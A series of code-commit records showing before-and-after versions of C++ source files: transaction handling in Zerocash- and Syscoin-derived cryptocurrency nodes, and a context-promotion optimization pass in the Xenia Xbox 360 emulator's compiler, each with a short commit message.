boost::array<std::vector<unsigned char>, NUM_POUR_INPUTS> serials_bv;
boost::array<std::vector<unsigned char>, NUM_POUR_OUTPUTS> commitments_bv;
boost::array<std::vector<unsigned char>, NUM_POUR_INPUTS> macs_bv;
boost::array<std::string, NUM_POUR_OUTPUTS> ciphertexts_bv;
proof = pourtx.unpack(serials_bv, commitments_bv, macs_bv, ciphertexts_bv);
serials = unsigned_char_vector_array_to_uint256_array(serials_bv);
commitments = unsigned_char_vector_array_to_uint256_array(commitments_bv);
macs = unsigned_char_vector_array_to_uint256_array(macs_bv);
ciphertexts = ciphertexts_bv;
}
bool CPourTx::Verify(ZerocashParams& params) const {
// Compute the hash of the scriptPubKey.
uint256 scriptPubKeyHash;
{
CHashWriter ss(SER_GETHASH, 0);
ss << scriptPubKey;
scriptPubKeyHash = ss.GetHash();
}
return PourProver::VerifyProof(
params,
std::vector<unsigned char>(scriptPubKeyHash.begin(), scriptPubKeyHash.end()),
std::vector<unsigned char>(anchor.begin(), anchor.end()),
vpub_old,
vpub_new,
uint256_to_array<NUM_POUR_INPUTS>(serials),
uint256_to_array<NUM_POUR_OUTPUTS>(commitments),
uint256_to_array<NUM_POUR_INPUTS>(macs),
proof
);
}
std::string COutPoint::ToString() const
{
return strprintf("COutPoint(%s, %u)", hash.ToString().substr(0,10), n);
}
CTxIn::CTxIn(COutPoint prevoutIn, CScript scriptSigIn, uint32_t nSequenceIn)
{
prevout = prevoutIn;
scriptSig = scriptSigIn;
nSequence = nSequenceIn;
}
CTxIn::CTxIn(uint256 hashPrevTx, uint32_t nOut, CScript scriptSigIn, uint32_t nSequenceIn)
{
prevout = COutPoint(hashPrevTx, nOut);
scriptSig = scriptSigIn;
nSequence = nSequenceIn;
}
std::string CTxIn::ToString() const
{
std::string str;
str += "CTxIn(";
str += prevout.ToString();
if (prevout.IsNull())
str += strprintf(", coinbase %s", HexStr(scriptSig));
else
str += strprintf(", scriptSig=%s", scriptSig.ToString().substr(0,24));
if (nSequence != std::numeric_limits<unsigned int>::max())
str += strprintf(", nSequence=%u", nSequence);
str += ")";
return str;
}
CTxOut::CTxOut(const CAmount& nValueIn, CScript scriptPubKeyIn)
{
nValue = nValueIn;
scriptPubKey = scriptPubKeyIn;
}
uint256 CTxOut::GetHash() const
{
return SerializeHash(*this);
}
std::string CTxOut::ToString() const
{
return strprintf("CTxOut(nValue=%d.%08d, scriptPubKey=%s)", nValue / COIN, nValue % COIN, scriptPubKey.ToString().substr(0,30));
}
CMutableTransaction::CMutableTransaction() : nVersion(CTransaction::CURRENT_VERSION), nLockTime(0) {}
CMutableTransaction::CMutableTransaction(const CTransaction& tx) : nVersion(tx.nVersion), vin(tx.vin), vout(tx.vout), nLockTime(tx.nLockTime), vpour(tx.vpour) {}
uint256 CMutableTransaction::GetHash() const
{
return SerializeHash(*this);
}
void CTransaction::UpdateHash() const
{
*const_cast<uint256*>(&hash) = SerializeHash(*this);
}
CTransaction::CTransaction() : nVersion(CTransaction::CURRENT_VERSION), vin(), vout(), nLockTime(0), vpour() { }
CTransaction::CTransaction(const CMutableTransaction &tx) : nVersion(tx.nVersion), vin(tx.vin), vout(tx.vout), nLockTime(tx.nLockTime), vpour(tx.vpour) {
UpdateHash();
}
CTransaction& CTransaction::operator=(const CTransaction &tx) {
*const_cast<int*>(&nVersion) = tx.nVersion;
*const_cast<std::vector<CTxIn>*>(&vin) = tx.vin;
*const_cast<std::vector<CTxOut>*>(&vout) = tx.vout;
*const_cast<unsigned int*>(&nLockTime) = tx.nLockTime;
*const_cast<std::vector<CPourTx>*>(&vpour) = tx.vpour;
*const_cast<uint256*>(&hash) = tx.hash;
return *this;
}
CAmount CTransaction::GetValueOut() const
{
CAmount nValueOut = 0;
for (std::vector<CTxOut>::const_iterator it(vout.begin()); it != vout.end(); ++it)
{
nValueOut += it->nValue;
if (!MoneyRange(it->nValue) || !MoneyRange(nValueOut))
throw std::runtime_error("CTransaction::GetValueOut(): value out of range");
}
for (std::vector<CPourTx>::const_iterator it(vpour.begin()); it != vpour.end(); ++it)
{
// NB: vpub_old "takes" money from the value pool just as outputs do
nValueOut += it->vpub_old;
if (!MoneyRange(it->vpub_old) || !MoneyRange(nValueOut))
throw std::runtime_error("CTransaction::GetValueOut(): value out of range");
}
return nValueOut;
}
CAmount CTransaction::GetPourValueIn() const
{
CAmount nValue = 0;
for (std::vector<CPourTx>::const_iterator it(vpour.begin()); it != vpour.end(); ++it)
{
// NB: vpub_old "gives" money to the value pool just as inputs do
nValue += it->vpub_new;
if (!MoneyRange(it->vpub_new) || !MoneyRange(nValue))
throw std::runtime_error("CTransaction::GetPourValueIn(): value out of range");
}
return nValue;
}
double CTransaction::ComputePriority(double dPriorityInputs, unsigned int nTxSize) const
{
nTxSize = CalculateModifiedSize(nTxSize);
if (nTxSize == 0) return 0.0;
return dPriorityInputs / nTxSize;
}
unsigned int CTransaction::CalculateModifiedSize(unsigned int nTxSize) const
{
// In order to avoid disincentivizing cleaning up the UTXO set we don't count
// the constant overhead for each txin and up to 110 bytes of scriptSig (which
// is enough to cover a compressed pubkey p2sh redemption) for priority.
// Providing any more cleanup incentive than making additional inputs free would
// risk encouraging people to create junk outputs to redeem later.
if (nTxSize == 0)
nTxSize = ::GetSerializeSize(*this, SER_NETWORK, PROTOCOL_VERSION);
for (std::vector<CTxIn>::const_iterator it(vin.begin()); it != vin.end(); ++it)
{
unsigned int offset = 41U + std::min(110U, (unsigned int)it->scriptSig.size());
if (nTxSize > offset)
nTxSize -= offset;
}
return nTxSize;
}
std::string CTransaction::ToString() const
{
std::string str;
str += strprintf("CTransaction(hash=%s, ver=%d, vin.size=%u, vout.size=%u, nLockTime=%u)\n",
GetHash().ToString().substr(0,10),
nVersion,
vin.size(),
vout.size(),
nLockTime);
for (unsigned int i = 0; i < vin.size(); i++)
str += " " + vin[i].ToString() + "\n";
for (unsigned int i = 0; i < vout.size(); i++)
str += " " + vout[i].ToString() + "\n";
return str;
}
<commit_msg>Fix comment.<commit_after>// Copyright (c) 2009-2010 Satoshi Nakamoto
// Copyright (c) 2009-2014 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "primitives/transaction.h"
#include "hash.h"
#include "tinyformat.h"
#include "utilstrencodings.h"
#include "libzerocash/PourProver.h"
#include "libzerocash/PourTransaction.h"
template<std::size_t N>
boost::array<std::vector<unsigned char>, N> uint256_to_array(const boost::array<uint256, N>& in) {
boost::array<std::vector<unsigned char>, N> result;
for (size_t i = 0; i < N; i++) {
result[i] = std::vector<unsigned char>(in[i].begin(), in[i].end());
}
return result;
}
template<std::size_t N>
boost::array<uint256, N> unsigned_char_vector_array_to_uint256_array(const boost::array<std::vector<unsigned char>, N>& in) {
boost::array<uint256, N> result;
for (size_t i = 0; i < N; i++) {
result[i] = uint256(in[i]);
}
return result;
}
CPourTx::CPourTx(ZerocashParams& params,
const CScript& scriptPubKey,
const uint256& anchor,
const boost::array<PourInput, NUM_POUR_INPUTS>& inputs,
const boost::array<PourOutput, NUM_POUR_OUTPUTS>& outputs,
CAmount vpub_old,
CAmount vpub_new) : scriptSig(), scriptPubKey(scriptPubKey), vpub_old(vpub_old), vpub_new(vpub_new), anchor(anchor)
{
uint256 scriptPubKeyHash;
{
CHashWriter ss(SER_GETHASH, 0);
ss << scriptPubKey;
scriptPubKeyHash = ss.GetHash();
}
PourTransaction pourtx(params,
std::vector<unsigned char>(scriptPubKeyHash.begin(), scriptPubKeyHash.end()),
std::vector<unsigned char>(anchor.begin(), anchor.end()),
std::vector<PourInput>(inputs.begin(), inputs.end()),
std::vector<PourOutput>(outputs.begin(), outputs.end()),
vpub_old,
vpub_new);
boost::array<std::vector<unsigned char>, NUM_POUR_INPUTS> serials_bv;
boost::array<std::vector<unsigned char>, NUM_POUR_OUTPUTS> commitments_bv;
boost::array<std::vector<unsigned char>, NUM_POUR_INPUTS> macs_bv;
boost::array<std::string, NUM_POUR_OUTPUTS> ciphertexts_bv;
proof = pourtx.unpack(serials_bv, commitments_bv, macs_bv, ciphertexts_bv);
serials = unsigned_char_vector_array_to_uint256_array(serials_bv);
commitments = unsigned_char_vector_array_to_uint256_array(commitments_bv);
macs = unsigned_char_vector_array_to_uint256_array(macs_bv);
ciphertexts = ciphertexts_bv;
}
bool CPourTx::Verify(ZerocashParams& params) const {
// Compute the hash of the scriptPubKey.
uint256 scriptPubKeyHash;
{
CHashWriter ss(SER_GETHASH, 0);
ss << scriptPubKey;
scriptPubKeyHash = ss.GetHash();
}
return PourProver::VerifyProof(
params,
std::vector<unsigned char>(scriptPubKeyHash.begin(), scriptPubKeyHash.end()),
std::vector<unsigned char>(anchor.begin(), anchor.end()),
vpub_old,
vpub_new,
uint256_to_array<NUM_POUR_INPUTS>(serials),
uint256_to_array<NUM_POUR_OUTPUTS>(commitments),
uint256_to_array<NUM_POUR_INPUTS>(macs),
proof
);
}
std::string COutPoint::ToString() const
{
return strprintf("COutPoint(%s, %u)", hash.ToString().substr(0,10), n);
}
CTxIn::CTxIn(COutPoint prevoutIn, CScript scriptSigIn, uint32_t nSequenceIn)
{
prevout = prevoutIn;
scriptSig = scriptSigIn;
nSequence = nSequenceIn;
}
CTxIn::CTxIn(uint256 hashPrevTx, uint32_t nOut, CScript scriptSigIn, uint32_t nSequenceIn)
{
prevout = COutPoint(hashPrevTx, nOut);
scriptSig = scriptSigIn;
nSequence = nSequenceIn;
}
std::string CTxIn::ToString() const
{
std::string str;
str += "CTxIn(";
str += prevout.ToString();
if (prevout.IsNull())
str += strprintf(", coinbase %s", HexStr(scriptSig));
else
str += strprintf(", scriptSig=%s", scriptSig.ToString().substr(0,24));
if (nSequence != std::numeric_limits<unsigned int>::max())
str += strprintf(", nSequence=%u", nSequence);
str += ")";
return str;
}
CTxOut::CTxOut(const CAmount& nValueIn, CScript scriptPubKeyIn)
{
nValue = nValueIn;
scriptPubKey = scriptPubKeyIn;
}
uint256 CTxOut::GetHash() const
{
return SerializeHash(*this);
}
std::string CTxOut::ToString() const
{
return strprintf("CTxOut(nValue=%d.%08d, scriptPubKey=%s)", nValue / COIN, nValue % COIN, scriptPubKey.ToString().substr(0,30));
}
CMutableTransaction::CMutableTransaction() : nVersion(CTransaction::CURRENT_VERSION), nLockTime(0) {}
CMutableTransaction::CMutableTransaction(const CTransaction& tx) : nVersion(tx.nVersion), vin(tx.vin), vout(tx.vout), nLockTime(tx.nLockTime), vpour(tx.vpour) {}
uint256 CMutableTransaction::GetHash() const
{
return SerializeHash(*this);
}
void CTransaction::UpdateHash() const
{
*const_cast<uint256*>(&hash) = SerializeHash(*this);
}
CTransaction::CTransaction() : nVersion(CTransaction::CURRENT_VERSION), vin(), vout(), nLockTime(0), vpour() { }
CTransaction::CTransaction(const CMutableTransaction &tx) : nVersion(tx.nVersion), vin(tx.vin), vout(tx.vout), nLockTime(tx.nLockTime), vpour(tx.vpour) {
UpdateHash();
}
CTransaction& CTransaction::operator=(const CTransaction &tx) {
*const_cast<int*>(&nVersion) = tx.nVersion;
*const_cast<std::vector<CTxIn>*>(&vin) = tx.vin;
*const_cast<std::vector<CTxOut>*>(&vout) = tx.vout;
*const_cast<unsigned int*>(&nLockTime) = tx.nLockTime;
*const_cast<std::vector<CPourTx>*>(&vpour) = tx.vpour;
*const_cast<uint256*>(&hash) = tx.hash;
return *this;
}
CAmount CTransaction::GetValueOut() const
{
CAmount nValueOut = 0;
for (std::vector<CTxOut>::const_iterator it(vout.begin()); it != vout.end(); ++it)
{
nValueOut += it->nValue;
if (!MoneyRange(it->nValue) || !MoneyRange(nValueOut))
throw std::runtime_error("CTransaction::GetValueOut(): value out of range");
}
for (std::vector<CPourTx>::const_iterator it(vpour.begin()); it != vpour.end(); ++it)
{
// NB: vpub_old "takes" money from the value pool just as outputs do
nValueOut += it->vpub_old;
if (!MoneyRange(it->vpub_old) || !MoneyRange(nValueOut))
throw std::runtime_error("CTransaction::GetValueOut(): value out of range");
}
return nValueOut;
}
CAmount CTransaction::GetPourValueIn() const
{
CAmount nValue = 0;
for (std::vector<CPourTx>::const_iterator it(vpour.begin()); it != vpour.end(); ++it)
{
// NB: vpub_new "gives" money to the value pool just as inputs do
nValue += it->vpub_new;
if (!MoneyRange(it->vpub_new) || !MoneyRange(nValue))
throw std::runtime_error("CTransaction::GetPourValueIn(): value out of range");
}
return nValue;
}
double CTransaction::ComputePriority(double dPriorityInputs, unsigned int nTxSize) const
{
nTxSize = CalculateModifiedSize(nTxSize);
if (nTxSize == 0) return 0.0;
return dPriorityInputs / nTxSize;
}
unsigned int CTransaction::CalculateModifiedSize(unsigned int nTxSize) const
{
// In order to avoid disincentivizing cleaning up the UTXO set we don't count
// the constant overhead for each txin and up to 110 bytes of scriptSig (which
// is enough to cover a compressed pubkey p2sh redemption) for priority.
// Providing any more cleanup incentive than making additional inputs free would
// risk encouraging people to create junk outputs to redeem later.
if (nTxSize == 0)
nTxSize = ::GetSerializeSize(*this, SER_NETWORK, PROTOCOL_VERSION);
for (std::vector<CTxIn>::const_iterator it(vin.begin()); it != vin.end(); ++it)
{
unsigned int offset = 41U + std::min(110U, (unsigned int)it->scriptSig.size());
if (nTxSize > offset)
nTxSize -= offset;
}
return nTxSize;
}
std::string CTransaction::ToString() const
{
std::string str;
str += strprintf("CTransaction(hash=%s, ver=%d, vin.size=%u, vout.size=%u, nLockTime=%u)\n",
GetHash().ToString().substr(0,10),
nVersion,
vin.size(),
vout.size(),
nLockTime);
for (unsigned int i = 0; i < vin.size(); i++)
str += " " + vin[i].ToString() + "\n";
for (unsigned int i = 0; i < vout.size(); i++)
str += " " + vout[i].ToString() + "\n";
return str;
}
<|endoftext|>
|
<commit_before>// Copyright (c) 2009-2010 Satoshi Nakamoto
// Copyright (c) 2009-2014 The Syscoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "primitives/transaction.h"
#include "hash.h"
#include "tinyformat.h"
#include "utilstrencodings.h"
std::string COutPoint::ToString() const
{
return strprintf("COutPoint(%s, %u)", hash.ToString().substr(0,10), n);
}
CTxIn::CTxIn(COutPoint prevoutIn, CScript scriptSigIn, uint32_t nSequenceIn)
{
prevout = prevoutIn;
scriptSig = scriptSigIn;
nSequence = nSequenceIn;
}
CTxIn::CTxIn(uint256 hashPrevTx, uint32_t nOut, CScript scriptSigIn, uint32_t nSequenceIn)
{
prevout = COutPoint(hashPrevTx, nOut);
scriptSig = scriptSigIn;
nSequence = nSequenceIn;
}
std::string CTxIn::ToString() const
{
std::string str;
str += "CTxIn(";
str += prevout.ToString();
if (prevout.IsNull())
str += strprintf(", coinbase %s", HexStr(scriptSig));
else
str += strprintf(", scriptSig=%s", HexStr(scriptSig).substr(0, 24));
if (nSequence != std::numeric_limits<unsigned int>::max())
str += strprintf(", nSequence=%u", nSequence);
str += ")";
return str;
}
CTxOut::CTxOut(const CAmount& nValueIn, CScript scriptPubKeyIn)
{
nValue = nValueIn;
scriptPubKey = scriptPubKeyIn;
}
uint256 CTxOut::GetHash() const
{
return SerializeHash(*this);
}
std::string CTxOut::ToString() const
{
return strprintf("CTxOut(nValue=%d.%08d, scriptPubKey=%s)", nValue / COIN, nValue % COIN, HexStr(scriptPubKey).substr(0, 30));
}
// SYSCOIN add data to tx
CMutableTransaction::CMutableTransaction() : nVersion(CTransaction::CURRENT_VERSION), nLockTime(0), vin(), vout(), data() {}
CMutableTransaction::CMutableTransaction(const CTransaction& tx) : nVersion(tx.nVersion), vin(tx.vin), vout(tx.vout), nLockTime(tx.nLockTime), data(tx.data) {}
uint256 CMutableTransaction::GetHash() const
{
return SerializeHash(*this);
}
uint256 CMutableTransaction::GetAuxHash() const
{
return SerializeHash(*this, SER_GETHASHWITHOUTDATA | SER_GETHASH);
}
void CTransaction::UpdateHash() const
{
*const_cast<uint256*>(&hash) = SerializeHash(*this);
}
const uint256& CTransaction::GetAuxHash() const
{
return SerializeHash(*this, SER_GETHASHWITHOUTDATA | SER_GETHASH);
}
// SYSCOIN add data to tx
CTransaction::CTransaction() : nVersion(CTransaction::CURRENT_VERSION), vin(), vout(), nLockTime(0), data() { }
CTransaction::CTransaction(const CMutableTransaction &tx) : nVersion(tx.nVersion), vin(tx.vin), vout(tx.vout), nLockTime(tx.nLockTime), data(tx.data) {
UpdateHash();
}
CTransaction& CTransaction::operator=(const CTransaction &tx) {
*const_cast<int*>(&nVersion) = tx.nVersion;
*const_cast<std::vector<CTxIn>*>(&vin) = tx.vin;
*const_cast<std::vector<CTxOut>*>(&vout) = tx.vout;
*const_cast<unsigned int*>(&nLockTime) = tx.nLockTime;
*const_cast<std::vector<unsigned char>*>(&data) = tx.data;
*const_cast<uint256*>(&hash) = tx.hash;
return *this;
}
CAmount CTransaction::GetValueOut() const
{
CAmount nValueOut = 0;
for (std::vector<CTxOut>::const_iterator it(vout.begin()); it != vout.end(); ++it)
{
nValueOut += it->nValue;
if (!MoneyRange(it->nValue) || !MoneyRange(nValueOut))
throw std::runtime_error("CTransaction::GetValueOut(): value out of range");
}
return nValueOut;
}
double CTransaction::ComputePriority(double dPriorityInputs, unsigned int nTxSize) const
{
nTxSize = CalculateModifiedSize(nTxSize);
if (nTxSize == 0) return 0.0;
return dPriorityInputs / nTxSize;
}
unsigned int CTransaction::CalculateModifiedSize(unsigned int nTxSize) const
{
// In order to avoid disincentivizing cleaning up the UTXO set we don't count
// the constant overhead for each txin and up to 110 bytes of scriptSig (which
// is enough to cover a compressed pubkey p2sh redemption) for priority.
// Providing any more cleanup incentive than making additional inputs free would
// risk encouraging people to create junk outputs to redeem later.
if (nTxSize == 0)
nTxSize = ::GetSerializeSize(*this, SER_NETWORK, PROTOCOL_VERSION);
for (std::vector<CTxIn>::const_iterator it(vin.begin()); it != vin.end(); ++it)
{
unsigned int offset = 41U + std::min(110U, (unsigned int)it->scriptSig.size());
if (nTxSize > offset)
nTxSize -= offset;
}
return nTxSize;
}
std::string CTransaction::ToString() const
{
std::string str;
str += strprintf("CTransaction(hash=%s, ver=%d, vin.size=%u, vout.size=%u, nLockTime=%u)\n",
GetHash().ToString().substr(0,10),
nVersion,
vin.size(),
vout.size(),
nLockTime);
for (unsigned int i = 0; i < vin.size(); i++)
str += " " + vin[i].ToString() + "\n";
for (unsigned int i = 0; i < vout.size(); i++)
str += " " + vout[i].ToString() + "\n";
return str;
}
<commit_msg>Revert "getauxhash"<commit_after>// Copyright (c) 2009-2010 Satoshi Nakamoto
// Copyright (c) 2009-2014 The Syscoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "primitives/transaction.h"
#include "hash.h"
#include "tinyformat.h"
#include "utilstrencodings.h"
std::string COutPoint::ToString() const
{
return strprintf("COutPoint(%s, %u)", hash.ToString().substr(0,10), n);
}
CTxIn::CTxIn(COutPoint prevoutIn, CScript scriptSigIn, uint32_t nSequenceIn)
{
prevout = prevoutIn;
scriptSig = scriptSigIn;
nSequence = nSequenceIn;
}
CTxIn::CTxIn(uint256 hashPrevTx, uint32_t nOut, CScript scriptSigIn, uint32_t nSequenceIn)
{
prevout = COutPoint(hashPrevTx, nOut);
scriptSig = scriptSigIn;
nSequence = nSequenceIn;
}
std::string CTxIn::ToString() const
{
std::string str;
str += "CTxIn(";
str += prevout.ToString();
if (prevout.IsNull())
str += strprintf(", coinbase %s", HexStr(scriptSig));
else
str += strprintf(", scriptSig=%s", HexStr(scriptSig).substr(0, 24));
if (nSequence != std::numeric_limits<unsigned int>::max())
str += strprintf(", nSequence=%u", nSequence);
str += ")";
return str;
}
CTxOut::CTxOut(const CAmount& nValueIn, CScript scriptPubKeyIn)
{
nValue = nValueIn;
scriptPubKey = scriptPubKeyIn;
}
uint256 CTxOut::GetHash() const
{
return SerializeHash(*this);
}
std::string CTxOut::ToString() const
{
return strprintf("CTxOut(nValue=%d.%08d, scriptPubKey=%s)", nValue / COIN, nValue % COIN, HexStr(scriptPubKey).substr(0, 30));
}
// SYSCOIN add data to tx
CMutableTransaction::CMutableTransaction() : nVersion(CTransaction::CURRENT_VERSION), nLockTime(0), vin(), vout(), data() {}
CMutableTransaction::CMutableTransaction(const CTransaction& tx) : nVersion(tx.nVersion), vin(tx.vin), vout(tx.vout), nLockTime(tx.nLockTime), data(tx.data) {}
uint256 CMutableTransaction::GetHash() const
{
return SerializeHash(*this);
}
uint256 CMutableTransaction::GetAuxHash() const
{
return SerializeHash(*this, SER_GETHASHWITHOUTDATA | SER_GETHASH);
}
void CTransaction::UpdateHash() const
{
*const_cast<uint256*>(&hash) = SerializeHash(*this);
}
uint256 CTransaction::GetAuxHash() const
{
return SerializeHash(*this, SER_GETHASHWITHOUTDATA | SER_GETHASH);
}
// SYSCOIN add data to tx
CTransaction::CTransaction() : nVersion(CTransaction::CURRENT_VERSION), vin(), vout(), nLockTime(0), data() { }
CTransaction::CTransaction(const CMutableTransaction &tx) : nVersion(tx.nVersion), vin(tx.vin), vout(tx.vout), nLockTime(tx.nLockTime), data(tx.data) {
UpdateHash();
}
CTransaction& CTransaction::operator=(const CTransaction &tx) {
*const_cast<int*>(&nVersion) = tx.nVersion;
*const_cast<std::vector<CTxIn>*>(&vin) = tx.vin;
*const_cast<std::vector<CTxOut>*>(&vout) = tx.vout;
*const_cast<unsigned int*>(&nLockTime) = tx.nLockTime;
*const_cast<std::vector<unsigned char>*>(&data) = tx.data;
*const_cast<uint256*>(&hash) = tx.hash;
return *this;
}
CAmount CTransaction::GetValueOut() const
{
CAmount nValueOut = 0;
for (std::vector<CTxOut>::const_iterator it(vout.begin()); it != vout.end(); ++it)
{
nValueOut += it->nValue;
if (!MoneyRange(it->nValue) || !MoneyRange(nValueOut))
throw std::runtime_error("CTransaction::GetValueOut(): value out of range");
}
return nValueOut;
}
double CTransaction::ComputePriority(double dPriorityInputs, unsigned int nTxSize) const
{
nTxSize = CalculateModifiedSize(nTxSize);
if (nTxSize == 0) return 0.0;
return dPriorityInputs / nTxSize;
}
unsigned int CTransaction::CalculateModifiedSize(unsigned int nTxSize) const
{
// In order to avoid disincentivizing cleaning up the UTXO set we don't count
// the constant overhead for each txin and up to 110 bytes of scriptSig (which
// is enough to cover a compressed pubkey p2sh redemption) for priority.
// Providing any more cleanup incentive than making additional inputs free would
// risk encouraging people to create junk outputs to redeem later.
if (nTxSize == 0)
nTxSize = ::GetSerializeSize(*this, SER_NETWORK, PROTOCOL_VERSION);
for (std::vector<CTxIn>::const_iterator it(vin.begin()); it != vin.end(); ++it)
{
unsigned int offset = 41U + std::min(110U, (unsigned int)it->scriptSig.size());
if (nTxSize > offset)
nTxSize -= offset;
}
return nTxSize;
}
std::string CTransaction::ToString() const
{
std::string str;
str += strprintf("CTransaction(hash=%s, ver=%d, vin.size=%u, vout.size=%u, nLockTime=%u)\n",
GetHash().ToString().substr(0,10),
nVersion,
vin.size(),
vout.size(),
nLockTime);
for (unsigned int i = 0; i < vin.size(); i++)
str += " " + vin[i].ToString() + "\n";
for (unsigned int i = 0; i < vout.size(); i++)
str += " " + vout[i].ToString() + "\n";
return str;
}
<|endoftext|>
|
<commit_before>/**
******************************************************************************
* Xenia : Xbox 360 Emulator Research Project *
******************************************************************************
* Copyright 2013 Ben Vanik. All rights reserved. *
* Released under the BSD license - see LICENSE in the root for more details. *
******************************************************************************
*/
#include <alloy/compiler/passes/context_promotion_pass.h>
#include <gflags/gflags.h>
#include <alloy/compiler/compiler.h>
#include <alloy/runtime/runtime.h>
DEFINE_bool(store_all_context_values, false,
"Don't strip dead context stores to aid in debugging.");
namespace alloy {
namespace compiler {
namespace passes {
// TODO(benvanik): remove when enums redefined.
using namespace alloy::hir;
using alloy::frontend::ContextInfo;
using alloy::hir::Block;
using alloy::hir::HIRBuilder;
using alloy::hir::Instr;
using alloy::hir::Value;
ContextPromotionPass::ContextPromotionPass()
: CompilerPass(), context_values_size_(0), context_values_(0) {}
ContextPromotionPass::~ContextPromotionPass() {
if (context_values_) {
xe_free(context_values_);
}
}
int ContextPromotionPass::Initialize(Compiler* compiler) {
if (CompilerPass::Initialize(compiler)) {
return 1;
}
// This is a terrible implementation.
ContextInfo* context_info = runtime_->frontend()->context_info();
context_values_size_ = context_info->size() * sizeof(Value*);
context_values_ = (Value**)xe_calloc(context_values_size_);
return 0;
}
int ContextPromotionPass::Run(HIRBuilder* builder) {
SCOPE_profile_cpu_f("alloy");
// Like mem2reg, but because context memory is unaliasable it's easier to
// check and convert LoadContext/StoreContext into value operations.
// Example of load->value promotion:
// v0 = load_context +100
// store_context +200, v0
// v1 = load_context +100 <-- replace with v1 = v0
// store_context +200, v1
//
// It'd be possible in this stage to also remove redundant context stores:
// Example of dead store elimination:
// store_context +100, v0 <-- removed due to following store
// store_context +100, v1
// This is more generally done by DSE, however if it could be done here
// instead as it may be faster (at least on the block-level).
// Promote loads to values.
// Process each block independently, for now.
auto block = builder->first_block();
while (block) {
PromoteBlock(block);
block = block->next;
}
// Remove all dead stores.
if (!FLAGS_store_all_context_values) {
block = builder->first_block();
while (block) {
RemoveDeadStoresBlock(block);
block = block->next;
}
}
return 0;
}
void ContextPromotionPass::PromoteBlock(Block* block) {
// Clear the context values list.
// TODO(benvanik): new data structure that isn't so stupid.
// Bitvector of validity, perhaps?
xe_zero_struct(context_values_, context_values_size_);
Instr* i = block->instr_head;
while (i) {
if (i->opcode == &OPCODE_LOAD_CONTEXT_info) {
size_t offset = i->src1.offset;
Value* previous_value = context_values_[offset];
if (previous_value) {
// Legit previous value, reuse.
i->opcode = &hir::OPCODE_ASSIGN_info;
i->set_src1(previous_value);
} else {
// Store the loaded value into the table.
context_values_[offset] = i->dest;
}
} else if (i->opcode == &OPCODE_STORE_CONTEXT_info) {
size_t offset = i->src1.offset;
Value* value = i->src2.value;
// Store value into the table for later.
context_values_[offset] = value;
}
i = i->next;
}
}
void ContextPromotionPass::RemoveDeadStoresBlock(Block* block) {
// TODO(benvanik): use a bitvector.
// To avoid clearing the structure, we use a token.
auto token = (Value*)block;
// Walk backwards and mark offsets that are written to.
// If the offset was written to earlier, ignore the store.
Instr* i = block->instr_tail;
while (i) {
Instr* prev = i->prev;
if (i->opcode == &OPCODE_STORE_CONTEXT_info) {
size_t offset = i->src1.offset;
if (context_values_[offset] != token) {
// Mark offset as written to.
context_values_[offset] = token;
} else {
// Already written to. Remove this store.
i->Remove();
}
}
i = prev;
}
}
} // namespace passes
} // namespace compiler
} // namespace alloy
<commit_msg>Prevent context promotion across instructions marked volatile.<commit_after>/**
******************************************************************************
* Xenia : Xbox 360 Emulator Research Project *
******************************************************************************
* Copyright 2013 Ben Vanik. All rights reserved. *
* Released under the BSD license - see LICENSE in the root for more details. *
******************************************************************************
*/
#include <alloy/compiler/passes/context_promotion_pass.h>
#include <gflags/gflags.h>
#include <alloy/compiler/compiler.h>
#include <alloy/runtime/runtime.h>
DEFINE_bool(store_all_context_values, false,
"Don't strip dead context stores to aid in debugging.");
namespace alloy {
namespace compiler {
namespace passes {
// TODO(benvanik): remove when enums redefined.
using namespace alloy::hir;
using alloy::frontend::ContextInfo;
using alloy::hir::Block;
using alloy::hir::HIRBuilder;
using alloy::hir::Instr;
using alloy::hir::Value;
ContextPromotionPass::ContextPromotionPass()
: CompilerPass(), context_values_size_(0), context_values_(0) {}
ContextPromotionPass::~ContextPromotionPass() {
if (context_values_) {
xe_free(context_values_);
}
}
int ContextPromotionPass::Initialize(Compiler* compiler) {
if (CompilerPass::Initialize(compiler)) {
return 1;
}
// This is a terrible implementation.
ContextInfo* context_info = runtime_->frontend()->context_info();
context_values_size_ = context_info->size() * sizeof(Value*);
context_values_ = (Value**)xe_calloc(context_values_size_);
return 0;
}
int ContextPromotionPass::Run(HIRBuilder* builder) {
SCOPE_profile_cpu_f("alloy");
// Like mem2reg, but because context memory is unaliasable it's easier to
// check and convert LoadContext/StoreContext into value operations.
// Example of load->value promotion:
// v0 = load_context +100
// store_context +200, v0
// v1 = load_context +100 <-- replace with v1 = v0
// store_context +200, v1
//
// It'd be possible in this stage to also remove redundant context stores:
// Example of dead store elimination:
// store_context +100, v0 <-- removed due to following store
// store_context +100, v1
// This is more generally done by DSE, however if it could be done here
// instead as it may be faster (at least on the block-level).
// Promote loads to values.
// Process each block independently, for now.
auto block = builder->first_block();
while (block) {
PromoteBlock(block);
block = block->next;
}
// Remove all dead stores.
if (!FLAGS_store_all_context_values) {
block = builder->first_block();
while (block) {
RemoveDeadStoresBlock(block);
block = block->next;
}
}
return 0;
}
void ContextPromotionPass::PromoteBlock(Block* block) {
// Clear the context values list.
// TODO(benvanik): new data structure that isn't so stupid.
// Bitvector of validity, perhaps?
xe_zero_struct(context_values_, context_values_size_);
Instr* i = block->instr_head;
while (i) {
if (i->opcode->flags & OPCODE_FLAG_VOLATILE) {
// Volatile instruction - requires all context values be flushed.
xe_zero_struct(context_values_, context_values_size_);
} else if (i->opcode == &OPCODE_LOAD_CONTEXT_info) {
size_t offset = i->src1.offset;
Value* previous_value = context_values_[offset];
if (previous_value) {
// Legit previous value, reuse.
i->opcode = &hir::OPCODE_ASSIGN_info;
i->set_src1(previous_value);
} else {
// Store the loaded value into the table.
context_values_[offset] = i->dest;
}
} else if (i->opcode == &OPCODE_STORE_CONTEXT_info) {
size_t offset = i->src1.offset;
Value* value = i->src2.value;
// Store value into the table for later.
context_values_[offset] = value;
}
i = i->next;
}
}
void ContextPromotionPass::RemoveDeadStoresBlock(Block* block) {
// TODO(benvanik): use a bitvector.
// To avoid clearing the structure, we use a token.
// Upper bits are block address, lower bits increment each reset.
uint64_t token = reinterpret_cast<uint64_t>(block) << 16;
// Walk backwards and mark offsets that are written to.
// If the offset was written to earlier, ignore the store.
